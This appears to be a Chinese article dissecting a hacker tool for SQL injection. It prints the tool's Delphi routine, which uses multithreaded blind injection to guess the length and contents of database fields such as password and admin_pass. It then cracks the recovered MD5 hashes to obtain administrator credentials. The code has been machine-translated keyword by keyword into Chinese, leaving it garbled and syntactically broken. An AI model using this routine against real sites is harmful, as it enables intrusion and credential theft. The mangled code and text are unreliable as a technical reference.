注释:以上只是一个网站注射点的工具检测。当然,我们看到结果的密码是16位MD5加上密码,但是我们可以通过MD5密码破解工具来解决它,然后你可以在后台找到用户名和密码,对于黑客软件来说,并不像我们想象的那么复杂,但是应该根据掌握的信息来提交。










以上只是一个网站的注射点的工具检测。当然,我们看到的结果密码是16位MD5加上密码,但我们可以通过MD5破解密码破解工具,然后你可以在后台找到你的用户名和密码,对于黑客来说,软件其实并不像我们想象的那么复杂。它只根据漏洞信息提交相应的数据。我们可以看到Delphi注入的下一部分是清晰的,这里是控件的设置和线程的创建。我们主要考察猜测的过程,如下所示:

TMainForm.GuessContProc(listint程序:整数);{ SQL注入-多线程猜测字段内容} }

函数的SQLTextFunc(URL,TopStr,表名,字段名,levelstr:字符串;Len:整数):字符串;

开始

结果:URL =存在(选择*号在Len(fieldname)LevelStr IntToStr(Len)和ID =(选择最大值(ID)从听,ID(ID的选择上ID topstr '从'是'秩序)))

结束;

VaR

表名:字符串;

字段名称的字符串;

contentint:整数;

我,兰,LengthInt,N:整数;

gridcount:整数;

柱:TColumn;

flagbool:布尔;

开始

= 0;

lengthint:= 0;

flagbool:=真;

表名:= tablenamelst。项目tablenamelst itemindex { };

字段名:= memo2。线listint } {;

如果(小写(字段名)=密码)或(小写(字段名)=合格)或

(小写(字段名)=admin_pass)或(fileName =密码)或

(小写(字段名)=用户密码)或(小写(字段名)=passwd)然后

开始

contentint:= get_httpsize(SQLTextFunc(sql_edurl.text,sqledtop。文字,表名,字段名称' = ',16),800);

如果contentint > = and1num然后

开始

SqlResultMemo.Lines.Add(字段名的长度:16);

lengthint:= 16

终点

其他的

开始

而(Len

开始

application.processmessages;

公司(莱恩,2);

PANE1。描述:= '检测长度:Len(字段名)=IntToStr(LEN);

contentint:= get_httpsize(SQLTextFunc(sql_edurl.text,sqledtop。文字,表名,字段名称)。

如果contentint > = and1num然后

开始

对于n = =莱恩- 1到莱恩做

开始

contentint:= get_httpsize(SQLTextFunc(sql_edurl.text,sqledtop。文字,表名,字段名称=,N),800);

如果contentint > = and1num然后

开始

lengthint:= n;

SqlResultMemo.Lines.Add(字段名的长度:IntToStr(n));

flagbool:= false;

打破;

结束; /如果

结束

结束; /如果

结束

结束;

终点

其他的

开始

而(Len

开始

application.processmessages;

公司(莱恩,2);

PANE1。描述:= '检测长度:Len(字段名)=IntToStr(LEN);

contentint:= get_httpsize(SQLTextFunc(sql_edurl.text,sqledtop。文字,表名,字段名称)。

如果contentint > = and1num然后

开始

对于n = =莱恩- 1到莱恩做

开始

contentint:= get_httpsize(SQLTextFunc(sql_edurl.text,sqledtop。文字,表名,字段名称=,N),800);

如果contentint > = and1num然后

开始

lengthint:= n;

SqlResultMemo.Lines.Add(字段名的长度:IntToStr(n));

flagbool:= false;

打破;

结束; /如果

结束

结束; /如果

结束

结束;

guesslsv清晰;

如果Len或50

开始

sql_edurl.enabled:=真;

sql_guesstable.enabled:=真;

tablenamelst启用:=真;

fieldnamelst启用:=真;

application.messagebox('column名称长度大于50,想失败!暗示,32);

出口;

结束;

PANE1。字幕:= '是'字段的内容测试…

guesslsv更新;

如果lengthint = 5

开始

contentint:= get_httpsize(sql_edurl.text和存在)(选择上的sqledtop。文本字段从字段名字段(' ',' '))。

如果contentint > = and1num然后

开始

s =admin;

对我来说:= 1比5

开始

application.processmessages;

GuessLsv.Items.Add做的

开始

描述:= '第一' IntToStr(我);

添加子项(S);

结束;

睡眠(60);

guesslsv更新;

结束;

公司(sql_scancontent_threadcreatecount);

stringgrid1。{ 1, 1 }:细胞sql_scancontent_threadcreatecount =管理员;

stringgrid1。细胞{ 1 }:sql_scancontent_threadcreatecount,=检测…;

SqlResultMemo.Lines.Add(fieldnamelst。项目{ fieldnamelst。itemindex }的内容:管理);

如果sql_scancontent_threadcreatecount

GuessContProc(sql_scancontent_threadcreatecount - 1);

出口;

终点

其他的

开始

我:= 1 lengthint做

开始

application.processmessages;

GuessLsv.Items.Add做的

开始

描述:= '第一' IntToStr(我);

子项添加('detection);

结束;

睡眠(30);

结束;

结束;

终点

其他的

开始

我:= 1 lengthint做

开始

application.processmessages;

GuessLsv.Items.Add做的

开始

描述:= '第一' IntToStr(我);

子项添加('detection);

结束;

睡眠(30);

结束;

结束;

从上面的代码中,我们可以看到,黑客软件来代替人工操作,通过多线程来进一步提高猜的速度,但猜的表和字段,也有自己的一套,然后提交文章格式(我们在URL空间的意思,因为SQL相应的语句在URL后面的实施必须有相应的空间),我们把表和字段猜用户名和密码对应的内容。